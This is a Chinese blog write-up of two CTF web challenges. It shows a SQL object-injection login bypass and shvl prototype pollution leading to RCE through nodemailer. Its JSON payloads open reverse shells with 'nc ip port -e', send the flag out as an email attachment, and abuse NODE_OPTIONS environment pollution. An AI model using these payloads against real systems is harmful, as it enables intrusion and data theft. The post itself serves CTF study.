网鼎杯2023线下半决赛突破题Errormsg复现

文章目录[x]
  1. 0.1:原题(Ant X D^3 CTF 2021 8-bit pub)
  2. 0.2:网鼎杯Errormsg
  3. 0.3:废话部分

网鼎被二进制大哥全程带飞,就是有点可惜没进决赛,赛中有一道挺有意思的js题,听学长说是原题直接秒掉了(草,当时比赛好像就二三十解,现在赛后复现一手。

原题(Ant X D^3 CTF 2021 8-bit pub)

既然是原题,那就顺手把这道也复现了,等不及看Errormsg的可以直接拉到最下面(bushi
github题目仓库:CTFChallenges/D3CTF2021/8-bit_pub at main · crumbledwall/CTFChallenges (github.com)
下载下来之后直接docker-compose一键搭建,访问本地127.0.0.1:3000

经典开局一个登录界面其他全靠猜
不过当时比赛应该是有给源码的,所以我们直接开审
首先找一下登录的逻辑部分,我们应该是要拿到admin的,所以这里就直接找到signin路由

跟进到user.signin函数

发现这里有一个sql的操作,但是用的是占位符操作,所以不能直接注入,翻阅文档

意味着当我们传入Object的时候,参数会被转化成key=value的格式拼⼊
那么我们就可以构造{"username":"admin", "password":{"password": true}},相当于万能密码,传入后登录成功,进入admin

进入admin界面是这样的

注意到我们在登录admin后可以发邮件,源码在这里:

这里使用shvl库进行赋值,翻看一下package.json,我们发现版本号是2.0.2

去github看一下源码的更新,diff一下2.0.22.0.1的源码发现:

作者把__proto__ban掉了,不过没有关系,我们依然可以使用constructor.prototype来bypass,从而进行原型链污染,POC在这里:

那么现在就有两种做法

1.利用nodemailer

跟进一下send函数,发现使用的是nodemailer发送邮件

lib/sendmail-transport/index.js中找到这么一行

关键就是这里的spawn,我们查找一下path是在哪里赋值的:

这里options是一个对象,是从前面实例化的时候传进来的

再来看看args

this.args也是在上面赋值的

那么我们通过原型链污染可以同时控制这两个参数,继续往前推,我们发现

这里实例化了我们刚刚找到的那个利用点所在的类,所以我们只要使option.sendmailtrue就可以使其实例化目标类
最后就回到这里了

所以我们需要污染三个参数:

sendmail -> true
path -> command which we want to execute
args -> an array containing the arguments to execute the command

payload:

{
    "constructor.prototype.sendmail":true,
    "constructor.prototype.path":"sh",
    "constructor.prototype.args":[
        "-c",
        "nc ip port -e /bin/sh"
    ]
}

反弹shell,拿下

也可以通过写到/tmp/xxx.txt中,通过邮件的方式带出来,这里我本地没配smtp,就不用这种方法了
payload也放在这里

{
    "constructor.prototype.sendmail":true,
    "constructor.prototype.path":"sh",
    "constructor.prototype.args":[
        "-c",
        "/readflag > /tmp/flag.txt"
    ]
}

用attachments带出:

{
    "to":"i@example.com",
    "subject":"flag",
    "constructor.prototype.attachments":[
        {
            "filename":"flag.txt",
            "path":"/tmp/flag.txt"
        }
    ]
}

2.污染环境变量

这里就比较直接了,因为nodemailer是有requirechild_process库的,那么我们可以使用Abusing Environment Variables (p6.is)方法,污染env和shell,先放payload

{
    "constructor.prototype.sendmail": True,
    "constructor.prototype.shell":"node",
    "constructor.prototype.env.NODE_DEBUG": "require('child_process').execSync('nc ip port -e /bin/bash');process.exit();//",
    "constructor.prototype.env.NODE_OPTIONS":"-r /proc/self/environ"
}

这里污染了环境变量之后,每次以node执行命令的时候,就会加载NODE_OPTIONS选项,从而执行/proc/self/environ中存在的js代码,那么就很简单了,当默认使用发邮件的时候,spawn会调用默认的shell,也就是/bin/sh

那么我们可以通过将shell污染成node,使得spawn的file变成node,这样就可以执行node命令了,当执行node命令时就会加载NODE_OPTIONS的选项,从而执行环境变量中的js代码,达到命令执行的目的。
这是一个通解,当我们可以污染基类并且可以自主生成子进程的时候,就可以直接RCE。

网鼎杯Errormsg

不知不觉上面那道题复现写了很多,现在回过头来看这道题,显然,这个extend就是个套皮mergeh函数

不能说很像,只能说一模一样,这里ban了__proto__,不影响我们利用constructor.prototype来进行污染,先注册一个账号,登录,在这里打一个console.log

然后在登录成功的界面使用post传入json数据

可以发现userInfo污染成功(如果污染失败应该打印出的是undefined)

剩下的就不需要多说了,既然能污染了,那就直接按部就班打就行了,这里就不多赘述了。

废话部分

总结一下吧,原型链污染确实见过,但是从原型链污染直接到rce还是我第一次打,只能说题做少了,博客好久没更新了,也是有我一直在摆烂的原因吧,现在已经大二下了,再不好好学习连工作都没得了TUT,加油吧,是时候该拜托惰性了。

点赞

发表回复

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像